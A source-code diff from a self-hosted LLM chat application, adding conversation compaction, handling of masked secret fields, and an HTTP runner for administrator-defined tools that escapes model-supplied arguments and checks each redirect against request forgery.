complete_: bool = True,
|
||||
model_id: str = "",
|
||||
queued: bool = False,
|
||||
) -> Message:
|
||||
message = Message(
|
||||
chat_id=chat.id,
|
||||
role=role,
|
||||
content=content,
|
||||
complete=complete_,
|
||||
model_id=model_id,
|
||||
queued=queued,
|
||||
)
|
||||
db.add(message)
|
||||
db.commit()
|
||||
return message
|
||||
|
||||
|
||||
async def summarise_for_compaction(
|
||||
endpoint: Endpoint,
|
||||
model_id: str,
|
||||
*,
|
||||
transcript: str,
|
||||
previous_summary: str,
|
||||
template: str,
|
||||
) -> str:
|
||||
"""Ask the model to summarise the earlier turns.
|
||||
|
||||
`template` is passed in for the same reason `generate_title`'s is: this runs
|
||||
after the generation's session has closed, and opening another one there is
|
||||
how you get a session that outlives its scope. An empty template means an
|
||||
administrator cleared the fragment, and nothing is asked of anyone.
|
||||
"""
|
||||
from lembas.services import prompts as prompts_service
|
||||
|
||||
if not template.strip() or not transcript.strip():
|
||||
return ""
|
||||
|
||||
prompt = prompts_service.substitute(
|
||||
template, {"transcript": transcript, "previous_summary": previous_summary}
|
||||
)
|
||||
raw = await complete(
|
||||
endpoint,
|
||||
{
|
||||
"model": model_id,
|
||||
"messages": [{"role": ROLE_USER, "content": prompt}],
|
||||
"max_tokens": 1200,
|
||||
# Low, but not zero: this is recall, not invention.
|
||||
"temperature": 0.3,
|
||||
},
|
||||
)
|
||||
return raw.strip()
|
||||
|
||||
|
||||
def sweep_temporary(db: DBSession, older_than: timedelta = TEMPORARY_LIFETIME) -> int:
|
||||
"""Delete temporary chats nobody has touched for a day.
|
||||
|
||||
Age is measured from the newest message rather than from the chat row's own
|
||||
timestamps. `created_at` would destroy a conversation still in use at hour
|
||||
23, and `updated_at` does not move when a message is inserted -- `onupdate`
|
||||
fires on an UPDATE of the chat, and adding a message is not one.
|
||||
|
||||
Startup only, like files.sweep_orphans beside it. A server that runs for a
|
||||
month sweeps once; that is the trade the existing sweep already makes, and a
|
||||
scheduler is a whole new concern for a single-worker application.
|
||||
"""
|
||||
cutoff = datetime.now(UTC) - older_than
|
||||
newest = (
|
||||
select(Message.chat_id, func.max(Message.created_at).label("last"))
|
||||
.group_by(Message.chat_id)
|
||||
.subquery()
|
||||
)
|
||||
stale = list(
|
||||
db.scalars(
|
||||
select(Chat)
|
||||
.outerjoin(newest, newest.c.chat_id == Chat.id)
|
||||
.where(
|
||||
Chat.temporary.is_(True),
|
||||
func.coalesce(newest.c.last, Chat.created_at) < cutoff,
|
||||
)
|
||||
)
|
||||
)
|
||||
if not stale:
|
||||
return 0
|
||||
|
||||
files_service.remove_files_for_chats(db, [chat.id for chat in stale])
|
||||
for chat in stale:
|
||||
db.delete(chat)
|
||||
db.commit()
|
||||
log.info("swept %d temporary chat(s)", len(stale))
|
||||
return len(stale)
|
||||
|
||||
|
||||
def user_chats(db: DBSession, user_id: str, *, folder_id: str | None = None) -> list[Chat]:
|
||||
query = select(Chat).where(
|
||||
Chat.user_id == user_id, Chat.archived.is_(False), Chat.temporary.is_(False)
|
||||
)
|
||||
if folder_id is not None:
|
||||
query = query.where(Chat.folder_id == folder_id)
|
||||
return list(db.scalars(query.order_by(Chat.pinned.desc(), Chat.updated_at.desc())))
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ROLE_ASSISTANT",
|
||||
"ROLE_USER",
|
||||
"available_models",
|
||||
"build_request",
|
||||
"create_message",
|
||||
"default_model",
|
||||
"fallback_title",
|
||||
"generate_title",
|
||||
"resolve_endpoint",
|
||||
"user_chats",
|
||||
]
|
||||
@@ -0,0 +1,199 @@
|
||||
"""Carrying a long conversation forward without carrying all of it.
|
||||
|
||||
Past a certain length every chat stops working: the window fills, and the only
|
||||
options are to lose the beginning or to start again. Compaction summarises the
|
||||
earlier turns and sends the summary in their place.
|
||||
|
||||
**The messages are kept.** They stay in the transcript, collapsed behind a
|
||||
divider, and simply stop being part of the request. A summary that turned out
|
||||
badly is then a bad turn rather than a lost conversation, which is what makes
|
||||
the button safe to press and automatic compaction safe to have at all.
|
||||
|
||||
**Stored on the Chat, not as a synthetic Message.** A synthetic row would need a
|
||||
role: `system` breaks the one-system-message rule the moment `build_messages`
|
||||
emits it beside the harness, and `user`/`assistant` makes it a turn people can
|
||||
edit, regenerate from and copy, indistinguishable from a real one in all four
|
||||
places a bubble is rendered. Worse, "editing rewinds, it does not branch" would
|
||||
silently delete it and leave no marker that compaction had ever happened.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import UTC, datetime
|
||||
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import ROLE_ASSISTANT, Chat, Message
|
||||
from lembas.services import metrics as metrics_service
|
||||
from lembas.services import settings_store, tokens
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# What the summariser is shown. Past this the oldest turns are dropped with a
|
||||
# marker: a transcript that does not fit the window it is protecting is no use.
|
||||
MAX_TRANSCRIPT_CHARS = 24_000
|
||||
|
||||
# Settings key, in the GENERAL group. 0 turns automatic compaction off; the
|
||||
# button still works, because a person asking for it does not need a threshold.
|
||||
THRESHOLD_KEY = "compact_threshold"
|
||||
DEFAULT_THRESHOLD = 95
|
||||
|
||||
|
||||
def threshold(db: DBSession) -> int:
|
||||
value = settings_store.get(db, THRESHOLD_KEY)
|
||||
return int(value) if isinstance(value, (int, float)) else DEFAULT_THRESHOLD
|
||||
|
||||
|
||||
def moment(message: Message) -> datetime:
|
||||
"""A message's timestamp, always comparable.
|
||||
|
||||
SQLite does not store the offset, so a row loaded from disk comes back naive
|
||||
while one still in the session's identity map keeps the tzinfo it was
|
||||
created with. Comparing the two raises, and every comparison here is between
|
||||
exactly those: a cutoff fetched by id against history loaded in bulk.
|
||||
`files.sweep_orphans` already normalises for the same reason.
|
||||
"""
|
||||
created = message.created_at
|
||||
return created if created.tzinfo is not None else created.replace(tzinfo=UTC)
|
||||
|
||||
|
||||
def cutoff_message(db: DBSession, chat: Chat) -> Message | None:
|
||||
"""The message compaction reached, or None if it never has.
|
||||
|
||||
There is no foreign key to null this out on an upgraded database, so the
|
||||
check is load-bearing rather than defensive: an id pointing at a message
|
||||
that has been deleted means the boundary no longer describes anything, and
|
||||
the chat has to read as uncompacted.
|
||||
"""
|
||||
if not chat.compact_summary or not chat.compacted_through_id:
|
||||
return None
|
||||
message = db.get(Message, chat.compacted_through_id)
|
||||
if message is None or message.chat_id != chat.id:
|
||||
return None
|
||||
return message
|
||||
|
||||
|
||||
def reset(chat: Chat) -> None:
|
||||
"""Forget that this chat was ever compacted."""
|
||||
chat.compact_summary = ""
|
||||
chat.compacted_through_id = None
|
||||
chat.compacted_at = None
|
||||
|
||||
|
||||
def apply(chat: Chat, *, summary: str, upto: Message) -> None:
|
||||
"""Record a summary and move the boundary. Caller commits."""
|
||||
chat.compact_summary = summary.strip()
|
||||
chat.compacted_through_id = upto.id
|
||||
chat.compacted_at = datetime.now(UTC)
|
||||
|
||||
|
||||
def split(
|
||||
db: DBSession, chat: Chat, messages: list[Message]
|
||||
) -> tuple[list[Message], list[Message]]:
|
||||
"""(summarised, live) -- what is behind the divider, and what is not."""
|
||||
cutoff = cutoff_message(db, chat)
|
||||
if cutoff is None:
|
||||
return [], list(messages)
|
||||
boundary = moment(cutoff)
|
||||
return (
|
||||
# A prompt still waiting to be sent stays on the live side whatever its
|
||||
# timestamp says. Folding one into the "earlier messages" details would
|
||||
# hide the only place its Send now and Discard exist, and it has not
|
||||
# been part of any request to summarise.
|
||||
[m for m in messages if not m.queued and moment(m) <= boundary],
|
||||
[m for m in messages if m.queued or moment(m) > boundary],
|
||||
)
|
||||
|
||||
|
||||
def last_complete(db: DBSession, chat: Chat) -> Message | None:
|
||||
"""The newest finished assistant turn: where compaction should stop.
|
||||
|
||||
Landing on a reply rather than a question means the kept history starts on a
|
||||
user turn, which is what every chat template expects.
|
||||
"""
|
||||
return db.scalar(
|
||||
select(Message)
|
||||
.where(
|
||||
Message.chat_id == chat.id,
|
||||
Message.role == ROLE_ASSISTANT,
|
||||
Message.complete.is_(True),
|
||||
)
|
||||
.order_by(Message.created_at.desc())
|
||||
)
|
||||
|
||||
|
||||
def transcript(db: DBSession, chat: Chat, *, upto: Message) -> str:
|
||||
"""The turns to summarise, oldest first, as plain text.
|
||||
|
||||
Only the delta since the last compaction: the previous summary is supplied
|
||||
separately, and the instruction asks for one record, so each summary
|
||||
subsumes the one before it. Re-summarising the whole chat every time grows
|
||||
quadratically and eventually exceeds the very window this protects.
|
||||
"""
|
||||
previous = cutoff_message(db, chat)
|
||||
query = select(Message).where(
|
||||
Message.chat_id == chat.id,
|
||||
Message.created_at <= upto.created_at,
|
||||
Message.error == "",
|
||||
# Not yet sent to anything. Summarising it would fold words the model
|
||||
# has never seen into the record, and then deliver them again later.
|
||||
Message.queued.is_(False),
|
||||
)
|
||||
if previous is not None:
|
||||
query = query.where(Message.created_at > previous.created_at)
|
||||
|
||||
lines: list[str] = []
|
||||
for message in db.scalars(query.order_by(Message.created_at)):
|
||||
body = message.content.strip()
|
||||
if not body:
|
||||
continue
|
||||
lines.append(f"{message.role}: {body}")
|
||||
|
||||
text = "\n\n".join(lines)
|
||||
if len(text) > MAX_TRANSCRIPT_CHARS:
|
||||
# Keep the most recent part: the older it is, the more likely the
|
||||
# previous summary already covers it.
|
||||
text = "[earlier turns omitted]\n\n" + text[-MAX_TRANSCRIPT_CHARS:]
|
||||
return text
|
||||
|
||||
|
||||
def previous_summary_block(chat: Chat) -> str:
|
||||
"""The earlier summary, headed, or "" on a first compaction.
|
||||
|
||||
Empty is fine to pass straight through: `prompts.substitute` drops a line
|
||||
that held a known variable and expanded to nothing, so the prompt does not
|
||||
end up with a hole where a heading was.
|
||||
"""
|
||||
if not chat.compact_summary.strip():
|
||||
return ""
|
||||
return "## Summary of even earlier turns\n\n" + chat.compact_summary.strip()
|
||||
|
||||
|
||||
def should_compact(db: DBSession, chat: Chat, *, pending: str = "") -> bool:
|
||||
"""Whether the next request should be summarised first.
|
||||
|
||||
Judged from the last reply's recorded usage plus an estimate of the new
|
||||
turn. True prompt_tokens are only knowable after a response, so a
|
||||
retrospective figure is the honest basis -- but on its own it is one turn
|
||||
stale, and fifty thousand characters pasted into the composer would overflow
|
||||
a window that measured 90% last time. The estimator covers only that delta.
|
||||
|
||||
Never fires when the model's context length is unknown. Acting on a number
|
||||
nobody supplied is exactly what the 0-means-unknown rule exists to prevent.
|
||||
"""
|
||||
limit = threshold(db)
|
||||
if limit <= 0:
|
||||
return False
|
||||
|
||||
last = last_complete(db, chat)
|
||||
if last is None:
|
||||
return False
|
||||
|
||||
usage = metrics_service.from_message(last.usage_json)
|
||||
if usage.context_limit <= 0 or usage.context_tokens <= 0:
|
||||
return False
|
||||
|
||||
projected = usage.context_tokens + tokens.estimate(pending)
|
||||
return projected >= usage.context_limit * limit / 100
|
||||
@@ -19,6 +19,13 @@ from lembas.config import settings
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# Rendered in a form in place of a stored secret. If a submitted value still
|
||||
# equals this, the field was never touched and the stored secret must be kept --
|
||||
# otherwise saving a name change would silently wipe the credential beside it.
|
||||
# Lives here rather than in one admin module because every form that edits a
|
||||
# secret needs the same dance.
|
||||
UNCHANGED_SENTINEL = "•" * 12
|
||||
|
||||
|
||||
@lru_cache
|
||||
def _fernet() -> Fernet:
|
||||
@@ -56,3 +63,17 @@ def mask(secret: str) -> str:
|
||||
if len(secret) <= 8:
|
||||
return "*" * len(secret)
|
||||
return f"{secret[:3]}{'*' * 8}{secret[-4:]}"
|
||||
|
||||
|
||||
def keep_or_replace(submitted: str, stored_ciphertext: str) -> str:
|
||||
"""Resolve a submitted secret field against what is already stored.
|
||||
|
||||
Three cases, and the middle one is the reason this exists: the sentinel
|
||||
means "the form rendered a mask and nobody typed over it", which is not the
|
||||
same as an empty field. An explicitly emptied field does mean "this endpoint
|
||||
needs no key", so it clears the stored value.
|
||||
"""
|
||||
submitted = submitted.strip()
|
||||
if submitted == UNCHANGED_SENTINEL:
|
||||
return stored_ciphertext
|
||||
return encrypt(submitted)
|
||||
|
||||
@@ -0,0 +1,443 @@
|
||||
"""Running the HTTP tools an administrator defined.
|
||||
|
||||
A row in `custom_tools` becomes a `ToolDef` like any built-in: same schema in
|
||||
the same array, same `ToolOutcome` back. What is different is that the arguments
|
||||
come from a model and the destination comes from a template, so two things have
|
||||
to hold.
|
||||
|
||||
**An argument may fill a hole; it may not move the target.** The scheme and host
|
||||
of the template are literal, checked when the row is saved and again here in
|
||||
case a row predates the check, and every value is escaped for the position it
|
||||
lands in -- percent-encoded with nothing safe in a URL, JSON-escaped in a body,
|
||||
stripped of line breaks in a header. `quote(value, safe="")` is what stops a
|
||||
value adding a path segment, a query parameter or a fragment; pinning the origin
|
||||
afterwards is what catches anything that got past it.
|
||||
|
||||
**Every hop is checked.** This is the same request-forgery problem
|
||||
`services/fetch.py` exists to solve, and the same answer: resolve and check the
|
||||
address, follow redirects by hand, refuse private ranges unless this particular
|
||||
row was allowed them. `fetch.fetch` itself cannot be reused -- it is GET-only,
|
||||
has no body, and refuses any content type that is not HTML or text, which is
|
||||
every JSON API there is -- so its redirect loop is deliberately copied rather
|
||||
than the module bent into a general HTTP client.
|
||||
|
||||
The secret is decrypted into the snapshot and goes nowhere else: not into the
|
||||
event, not into a log line, and not across a redirect that leaves the origin it
|
||||
was issued for.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
from urllib.parse import quote, urlparse
|
||||
|
||||
import httpx
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import (
|
||||
RESPONSE_JSON,
|
||||
RESPONSE_RAW,
|
||||
RESPONSE_TEXT,
|
||||
SECRET_BEARER,
|
||||
SECRET_HEADER,
|
||||
SECRET_QUERY,
|
||||
CustomTool,
|
||||
User,
|
||||
)
|
||||
from lembas.services import fetch as fetch_service
|
||||
from lembas.services import tool_access
|
||||
from lembas.services.crypto import decrypt
|
||||
from lembas.services.prompts import VARIABLE_PATTERN
|
||||
from lembas.services.tools import RISK_READ, RISK_WRITE, ToolContext, ToolDef, ToolOutcome
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# What a response may weigh before it is cut off. Well below the page fetcher's
|
||||
# ceiling, because this is text that will be sent back to a model rather than
|
||||
# stored for a person to read.
|
||||
MAX_RESPONSE_BYTES = 2 * 1024 * 1024
|
||||
|
||||
# How much of the response is kept on the message row for the transcript. Capped
|
||||
# separately from `max_chars`: what the model reads is spent once, what the event
|
||||
# holds is stored on every message forever.
|
||||
MAX_EVENT_CHARS = 2000
|
||||
|
||||
# How much of the arguments the transcript summarises.
|
||||
MAX_SUMMARY_CHARS = 200
|
||||
|
||||
ALLOWED_METHODS = ("GET", "POST", "PUT", "PATCH", "DELETE")
|
||||
|
||||
# Bounds an administrator's number is clamped into. A tool that may return
|
||||
# 400 000 characters is a tool that can fill the context window in one call.
|
||||
MIN_CHARS, MAX_CHARS = 200, 40_000
|
||||
MIN_TIMEOUT, MAX_TIMEOUT = 1, 120
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class HttpSpec:
|
||||
"""Everything one custom tool needs, read while the session was open.
|
||||
|
||||
A frozen snapshot rather than the row, for the reason `Endpoint` is one: a
|
||||
generation outlives the request that started it, and a detached SQLAlchemy
|
||||
instance is a trap. The decrypted secret lives here and nowhere else.
|
||||
"""
|
||||
|
||||
slug: str
|
||||
label: str
|
||||
method: str
|
||||
url_template: str
|
||||
body_template: str = ""
|
||||
headers: dict[str, str] = field(default_factory=dict)
|
||||
secret: str = ""
|
||||
secret_placement: str = SECRET_BEARER
|
||||
secret_name: str = "Authorization"
|
||||
response_mode: str = RESPONSE_TEXT
|
||||
response_path: str = ""
|
||||
max_chars: int = 8000
|
||||
timeout: int = 20
|
||||
allow_private: bool = False
|
||||
parameters: dict[str, Any] = field(default_factory=dict)
|
||||
|
||||
@property
|
||||
def secret_header(self) -> str:
|
||||
"""The header the secret rides in, if it rides in one."""
|
||||
if not self.secret or self.secret_placement not in (SECRET_BEARER, SECRET_HEADER):
|
||||
return ""
|
||||
return self.secret_name or "Authorization"
|
||||
|
||||
|
||||
def spec_from(row: CustomTool) -> HttpSpec:
|
||||
"""Snapshot a row, decrypting its secret. Call this with a session open."""
|
||||
return HttpSpec(
|
||||
slug=row.slug,
|
||||
label=row.name or row.slug,
|
||||
method=(row.method or "GET").upper(),
|
||||
url_template=row.url_template or "",
|
||||
body_template=row.body_template or "",
|
||||
headers=dict(row.headers_json or {}),
|
||||
secret=decrypt(row.secret_encrypted),
|
||||
secret_placement=row.secret_placement,
|
||||
secret_name=row.secret_name or "Authorization",
|
||||
response_mode=row.response_mode,
|
||||
response_path=row.response_path or "",
|
||||
max_chars=min(max(int(row.max_chars or 0), MIN_CHARS), MAX_CHARS),
|
||||
timeout=min(max(int(row.timeout or 0), MIN_TIMEOUT), MAX_TIMEOUT),
|
||||
allow_private=bool(row.allow_private),
|
||||
parameters=dict(row.parameters_json or {}),
|
||||
)
|
||||
|
||||
|
||||
def tool_defs(
|
||||
db: DBSession, user: User | None, *, everything: bool = False
|
||||
) -> list[ToolDef]:
|
||||
"""One `ToolDef` per custom tool this user may be offered."""
|
||||
return [
|
||||
ToolDef(
|
||||
name=row.slug,
|
||||
family=f"custom:{row.slug}",
|
||||
description=row.description or f"Call the {row.name} tool.",
|
||||
parameters=_schema_of(row),
|
||||
run=_runner(spec_from(row)),
|
||||
risk=_risk_of(row),
|
||||
)
|
||||
for row in tool_access.visible_custom_tools(db, user, everything=everything)
|
||||
]
|
||||
|
||||
|
||||
def _risk_of(row: CustomTool) -> str:
|
||||
"""What calling this tool does to the world, as far as the method says.
|
||||
|
||||
The method is all there is to go on, and it is a reasonable proxy: GET and
|
||||
HEAD are defined to be safe, and everything else is a request to change
|
||||
something. Guessing wrong in the cautious direction only means an agent
|
||||
chat asks about a call it need not have.
|
||||
"""
|
||||
return RISK_READ if (row.method or "GET").upper() in ("GET", "HEAD") else RISK_WRITE
|
||||
|
||||
|
||||
def _schema_of(row: CustomTool) -> dict[str, Any]:
|
||||
schema = dict(row.parameters_json or {})
|
||||
if schema.get("type") != "object":
|
||||
# An endpoint expects an object here; anything else it will reject
|
||||
# outright, which fails the whole request rather than the one tool.
|
||||
return {"type": "object", "properties": {}}
|
||||
return schema
|
||||
|
||||
|
||||
def _runner(spec: HttpSpec):
|
||||
async def run(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
return await call(spec, args)
|
||||
|
||||
return run
|
||||
|
||||
|
||||
# --- Filling the template ----------------------------------------------------
|
||||
def _scalar(value: Any) -> str:
|
||||
"""One argument as text, before it is escaped for wherever it is going."""
|
||||
if value is None:
|
||||
return ""
|
||||
if isinstance(value, bool):
|
||||
return "true" if value else "false"
|
||||
if isinstance(value, str):
|
||||
return value
|
||||
if isinstance(value, int | float):
|
||||
return str(value)
|
||||
return json.dumps(value, ensure_ascii=False)
|
||||
|
||||
|
||||
def _for_url(value: str) -> str:
|
||||
# safe="" is the whole point: an argument must not be able to introduce a
|
||||
# path segment, a query separator or a fragment.
|
||||
return quote(value, safe="")
|
||||
|
||||
|
||||
def _for_body(value: str) -> str:
|
||||
# The inside of a JSON string, so a quote or a backslash in an argument
|
||||
# cannot end it early and add a field of its own.
|
||||
return json.dumps(value, ensure_ascii=False)[1:-1]
|
||||
|
||||
|
||||
def _for_header(value: str) -> str:
|
||||
# A newline in a header value is header injection. Other control characters
|
||||
# go with it; none of them mean anything in a header.
|
||||
return "".join(character for character in value if character.isprintable())
|
||||
|
||||
|
||||
def _substitute(template: str, spec: HttpSpec, args: dict[str, Any], escape) -> str:
|
||||
"""Fill `{{name}}` from the call's arguments.
|
||||
|
||||
Not `prompts.substitute`, though the grammar is shared. The rules differ,
|
||||
and the differences are the point: a name the tool does not declare never
|
||||
substitutes, an unrecognised one becomes nothing rather than passing through
|
||||
verbatim -- a literal `{{x}}` in a URL is not a feature -- and every value
|
||||
is escaped for where it lands.
|
||||
"""
|
||||
declared = set(spec.parameters.get("properties") or {})
|
||||
|
||||
def swap(match) -> str:
|
||||
name = match.group(1)
|
||||
if name not in declared:
|
||||
return ""
|
||||
return escape(_scalar(args.get(name)))
|
||||
|
||||
return VARIABLE_PATTERN.sub(swap, template)
|
||||
|
||||
|
||||
def _origin(url: str) -> tuple[str, str]:
|
||||
parsed = urlparse(url)
|
||||
if parsed.scheme not in ("http", "https"):
|
||||
raise fetch_service.FetchError("A tool's URL must start with http:// or https://")
|
||||
if not parsed.netloc:
|
||||
raise fetch_service.FetchError("A tool's URL has no host.")
|
||||
return parsed.scheme, parsed.netloc
|
||||
|
||||
|
||||
def fill_url(spec: HttpSpec, args: dict[str, Any]) -> str:
|
||||
"""Fill the URL template, refusing anything that moved the host.
|
||||
|
||||
Checked twice over: the template's own scheme and authority must be literal,
|
||||
and the filled URL must still point at them. The first check is what stops
|
||||
`https://{{host}}/x` from ever being saved; the second is what catches a row
|
||||
that predates it, or an escaping mistake.
|
||||
"""
|
||||
template = spec.url_template.strip()
|
||||
scheme, netloc = _origin(template)
|
||||
if VARIABLE_PATTERN.search(f"{scheme}://{netloc}"):
|
||||
raise fetch_service.FetchError(
|
||||
"A tool's scheme and host must be literal, not filled from an argument."
|
||||
)
|
||||
|
||||
filled = _substitute(template, spec, args, _for_url)
|
||||
if _origin(filled) != (scheme, netloc):
|
||||
raise fetch_service.FetchError("That call would have pointed somewhere else.")
|
||||
return filled
|
||||
|
||||
|
||||
def _prepare(spec: HttpSpec, args: dict[str, Any]) -> tuple[str, dict[str, str], bytes | None]:
|
||||
"""The URL, headers and body for one call, secret included."""
|
||||
url = fill_url(spec, args)
|
||||
headers = {
|
||||
"User-Agent": fetch_service.USER_AGENT,
|
||||
"Accept": "application/json, text/*;q=0.9, */*;q=0.5",
|
||||
}
|
||||
for name, value in spec.headers.items():
|
||||
clean = _for_header(str(name)).strip()
|
||||
if clean:
|
||||
headers[clean] = _substitute(str(value), spec, args, _for_header)
|
||||
|
||||
body: bytes | None = None
|
||||
if spec.body_template.strip() and spec.method != "GET":
|
||||
body = _substitute(spec.body_template, spec, args, _for_body).encode("utf-8")
|
||||
headers.setdefault("Content-Type", "application/json")
|
||||
|
||||
if spec.secret:
|
||||
if spec.secret_placement == SECRET_BEARER:
|
||||
headers[spec.secret_name or "Authorization"] = f"Bearer {spec.secret}"
|
||||
elif spec.secret_placement == SECRET_HEADER:
|
||||
headers[spec.secret_name or "Authorization"] = spec.secret
|
||||
elif spec.secret_placement == SECRET_QUERY:
|
||||
# Only on the URL this call starts at. A redirect's Location
|
||||
# replaces the query, so the credential does not travel on by
|
||||
# itself -- which is the behaviour wanted anyway.
|
||||
joiner = "&" if urlparse(url).query else "?"
|
||||
url = f"{url}{joiner}{quote(spec.secret_name)}={quote(spec.secret, safe='')}"
|
||||
|
||||
return url, headers, body
|
||||
|
||||
|
||||
# --- Reading the response ----------------------------------------------------
|
||||
def _narrow(payload: Any, path: str) -> Any:
|
||||
"""Walk a dotted path into a decoded JSON document.
|
||||
|
||||
Integer segments index a list, so "data.0.title" works. A path that does not
|
||||
lead anywhere yields the whole document rather than nothing: an unhelpful
|
||||
answer beats a silent empty one when the model has to explain itself.
|
||||
"""
|
||||
current = payload
|
||||
for segment in [part for part in path.split(".") if part]:
|
||||
if isinstance(current, dict) and segment in current:
|
||||
current = current[segment]
|
||||
elif isinstance(current, list) and segment.lstrip("-").isdigit():
|
||||
try:
|
||||
current = current[int(segment)]
|
||||
except IndexError:
|
||||
return payload
|
||||
else:
|
||||
return payload
|
||||
return current
|
||||
|
||||
|
||||
def _decode(payload: bytes, response: httpx.Response) -> str:
|
||||
return payload.decode(response.encoding or "utf-8", "replace")
|
||||
|
||||
|
||||
def _as_text(spec: HttpSpec, payload: bytes, response: httpx.Response) -> str:
|
||||
content_type = response.headers.get("content-type", "")
|
||||
|
||||
if spec.response_mode == RESPONSE_JSON:
|
||||
try:
|
||||
document = json.loads(_decode(payload, response))
|
||||
except (json.JSONDecodeError, UnicodeDecodeError):
|
||||
# Falling back rather than failing: a JSON API answering with an
|
||||
# HTML error page is a thing the model can report usefully.
|
||||
return _decode(payload, response)
|
||||
value = _narrow(document, spec.response_path)
|
||||
if isinstance(value, str):
|
||||
return value
|
||||
return json.dumps(value, indent=2, ensure_ascii=False)
|
||||
|
||||
if spec.response_mode == RESPONSE_RAW:
|
||||
return _decode(payload, response)
|
||||
|
||||
text = _decode(payload, response)
|
||||
if "html" in content_type or text.lstrip()[:1] == "<":
|
||||
_, text = fetch_service.html_to_text(text)
|
||||
return text
|
||||
|
||||
|
||||
def _clip(text: str, limit: int) -> str:
|
||||
if len(text) <= limit:
|
||||
return text
|
||||
return text[:limit].rstrip() + "\n… (truncated)"
|
||||
|
||||
|
||||
def _summary(args: dict[str, Any]) -> str:
|
||||
"""What the transcript shows the tool was asked for."""
|
||||
parts = [f"{name}={_scalar(value)!r}" for name, value in args.items()]
|
||||
return _clip(", ".join(parts), MAX_SUMMARY_CHARS)
|
||||
|
||||
|
||||
def _event(spec: HttpSpec, args: dict[str, Any], *, status: str, **extra: Any) -> dict[str, Any]:
|
||||
return {
|
||||
"name": spec.slug,
|
||||
"kind": "custom",
|
||||
"label": spec.label,
|
||||
"query": _summary(args),
|
||||
# The host, never the filled URL: a path or query segment can carry an
|
||||
# argument, and the event is rendered and stored.
|
||||
"detail": f"{spec.method} {urlparse(spec.url_template).netloc}",
|
||||
"status": status,
|
||||
"results": [],
|
||||
**extra,
|
||||
}
|
||||
|
||||
|
||||
# --- Making the call ---------------------------------------------------------
|
||||
async def call(spec: HttpSpec, args: dict[str, Any]) -> ToolOutcome:
|
||||
"""Run one custom tool. Reports its own failures rather than raising."""
|
||||
try:
|
||||
url, headers, body = _prepare(spec, args)
|
||||
current = fetch_service.check_url(url, allow_private=spec.allow_private)
|
||||
origin = _origin(current)
|
||||
response = await _send(spec, current, headers, body, origin)
|
||||
except fetch_service.FetchError as exc:
|
||||
return ToolOutcome(
|
||||
f"The {spec.label} tool could not be called: {exc.message}",
|
||||
_event(spec, args, status="error", error=exc.message),
|
||||
)
|
||||
except httpx.RequestError as exc:
|
||||
message = f"Could not reach the {spec.label} tool: {exc}"
|
||||
return ToolOutcome(message, _event(spec, args, status="error", error=str(exc)[:200]))
|
||||
|
||||
payload = response.content[:MAX_RESPONSE_BYTES]
|
||||
text = _clip(_as_text(spec, payload, response).strip(), spec.max_chars)
|
||||
|
||||
if response.status_code >= 400:
|
||||
note = f"{spec.label} returned HTTP {response.status_code}."
|
||||
return ToolOutcome(
|
||||
f"{note}\n\n{text}" if text else note,
|
||||
_event(
|
||||
spec,
|
||||
args,
|
||||
status="error",
|
||||
error=f"HTTP {response.status_code}",
|
||||
text=text[:MAX_EVENT_CHARS],
|
||||
),
|
||||
)
|
||||
|
||||
if not text:
|
||||
return ToolOutcome(
|
||||
f"{spec.label} returned nothing.",
|
||||
_event(spec, args, status="ok", text=""),
|
||||
)
|
||||
|
||||
return ToolOutcome(text, _event(spec, args, status="ok", text=text[:MAX_EVENT_CHARS]))
|
||||
|
||||
|
||||
async def _send(
|
||||
spec: HttpSpec,
|
||||
url: str,
|
||||
headers: dict[str, str],
|
||||
body: bytes | None,
|
||||
origin: tuple[str, str],
|
||||
) -> httpx.Response:
|
||||
"""Send the request, following redirects by hand so each hop is checked."""
|
||||
current = url
|
||||
async with httpx.AsyncClient(timeout=spec.timeout, follow_redirects=False) as client:
|
||||
for _ in range(fetch_service.MAX_REDIRECTS + 1):
|
||||
response = await client.request(
|
||||
spec.method, current, headers=headers, content=body
|
||||
)
|
||||
if not response.is_redirect:
|
||||
return response
|
||||
|
||||
location = response.headers.get("location", "")
|
||||
if not location:
|
||||
raise fetch_service.FetchError("That tool redirected to nowhere.")
|
||||
current = fetch_service.check_url(
|
||||
str(response.url.join(location)), allow_private=spec.allow_private
|
||||
)
|
||||
if _origin(current) != origin:
|
||||
# A server that can redirect us anywhere must not be able to
|
||||
# redirect us at somebody else carrying the key.
|
||||
if spec.secret_header:
|
||||
headers.pop(spec.secret_header, None)
|
||||
origin = _origin(current)
|
||||
|
||||
raise fetch_service.FetchError("That tool redirected too many times.")
|
||||
|
||||
|
||||
__all__ = ["HttpSpec", "call", "fill_url", "spec_from", "tool_defs"]
|
||||
@@ -0,0 +1,248 @@
|
||||
"""Fetching a web page so it can be kept, or read to a model.
|
||||
|
||||
Two things this deliberately does not do.
|
||||
|
||||
**It does not try to be clever about extraction.** No readability heuristics, no
|
||||
main-column detection: script and style go, tags are dropped, whitespace is
|
||||
collapsed. A clever extractor that silently discards the part somebody wanted is
|
||||
worse than a plain one that keeps everything, and it would be a dependency.
|
||||
|
||||
**It does not trust the URL.** This runs on a server that can very likely reach
|
||||
a router's admin page, a metadata endpoint, and every other service on the same
|
||||
machine -- LLeMbas itself included. A fetcher that takes a URL from a user, or
|
||||
worse from a model, is a request-forgery hole unless something stops it, so
|
||||
addresses are checked after resolution and redirects are followed by hand.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import ipaddress
|
||||
import logging
|
||||
import re
|
||||
import socket
|
||||
from dataclasses import dataclass
|
||||
from urllib.parse import urlparse, urlunparse
|
||||
|
||||
import httpx
|
||||
import nh3
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# Pages are kept as text, so the ceiling is about what is worth reading rather
|
||||
# than what will fit on disk.
|
||||
